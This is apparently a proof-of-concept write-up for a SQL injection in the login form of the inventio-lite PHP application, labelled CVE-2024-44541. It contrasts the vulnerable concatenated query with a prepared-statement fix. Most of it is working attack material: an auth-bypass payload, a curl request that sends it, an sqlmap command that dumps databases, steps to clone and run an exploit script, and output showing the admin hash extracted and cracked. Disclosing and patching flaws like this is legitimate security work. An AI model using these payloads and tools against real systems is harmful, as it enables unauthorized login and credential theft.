if(!isset($_SESSION["user_id"])) {
    $user = $_POST['username'];
    $pass = sha1(md5($_POST['password']));

    $base = new Database();
    $con = $base->connect();
    $sql = "select * from user where (email= \"".$user."\" or username= \"".$user."\") and password= \"".$pass."\" and is_active=1";
    $query = $con->query($sql);
    $found = false;
    $userid = null;
    while($r = $query->fetch_array()){
        $found = true;
        $userid = $r['id'];
    }
}

if(!isset($_SESSION["user_id"])) {
    $user = $_POST['username'];
    $pass = sha1(md5($_POST['password']));

    $base = new Database();
    $con = $base->connect();

    // Prepare the query
    $stmt = $con->prepare("
        SELECT * FROM user 
        WHERE (email = ? OR username = ?) 
        AND password = ? 
        AND is_active = 1
    ");

    // Bind parameters
    $stmt->bind_param("sss", $user, $user, $pass);

    // Execute query
    $stmt->execute();

    // Get result
    $result = $stmt->get_result();
    $found = false;
    $userid = null;

    while($r = $result->fetch_assoc()){
        $found = true;
        $userid = $r['id'];
    }

    // Close statement
    $stmt->close();
}

user -> ") or 1=1-- - 
pass -> blablalba

$ curl -X POST http://192.168.1.51/inventio-lite/?action=processlogin -d 'username=%22%29%20or%201%3D1--%20-&password=blablabla' -v && echo ""

$ sqlmap -u http://192.168.1.51/inventio-lite/?action=processlogin --data="username=*&password=*" --level 5 --risk 3 --dbms=mysql --dbs --prefix='")' --batch --dbs

git clone https://github.com/pointedsec/CVE-2024-44541

pip install -r requirements.txt

$ python3 sqli.py 
[*] Checking if target is vulnerable
[+] Target Vulnerable!
[*] Dumping Administrator username...
[◤] Extracting Username: -> [email protected]
[/] Extracting Admin Password Hash: Final Admin Hash: 90b9aa7e25f80cf4f64e990b78a9fc5ebd6cecad
[+] Password Decrypted! -> [email protected]:admin
[*] Try to Log In with that username, if that doesn't work, try with some uppercase/lowercase combinations